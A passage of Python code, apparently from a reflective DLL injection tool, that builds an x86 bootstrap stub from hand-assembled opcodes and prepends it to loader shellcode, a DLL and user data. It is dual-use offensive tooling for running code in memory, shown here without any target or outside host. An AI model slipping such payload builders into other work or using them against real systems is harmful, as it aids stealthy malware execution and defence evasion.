dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
# pop eax - Capture our current location in memory
bootstrap += b'\x58'
# push ebp
bootstrap += b'\x55'
# mov ebp, esp
bootstrap += b'\x89\xe5'
# mov edx, eax - copy our location in memory to ebx before we start modifying eax
bootstrap += b'\x89\xc2'
# add eax, <Offset to the DLL>
bootstrap += b'\x05'
bootstrap += pack('I', dllOffset)
# add edx, <Offset to the DLL> + <Size of DLL>
bootstrap += b'\x81\xc2'
userDataLocation = dllOffset + len(dllBytes)
bootstrap += pack('I', userDataLocation)
# push <Flags>
bootstrap += b'\x68'
bootstrap += pack('I', flags)
# push <Length of User Data>
bootstrap += b'\x68'
bootstrap += pack('I', len(userData))
# push edx
bootstrap += b'\x52'
# push <hash of function>
bootstrap += b'\x68'
bootstrap += pack('I', functionHash)
# push eax
bootstrap += b'\x50'
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# add esp, 0x14 - remove arguments from stack (cdecl)
bootstrap += b'\x83\xc4\x14'
# leave
bootstrap += b'\xc9'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrapSize:
raise Exception("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData
return False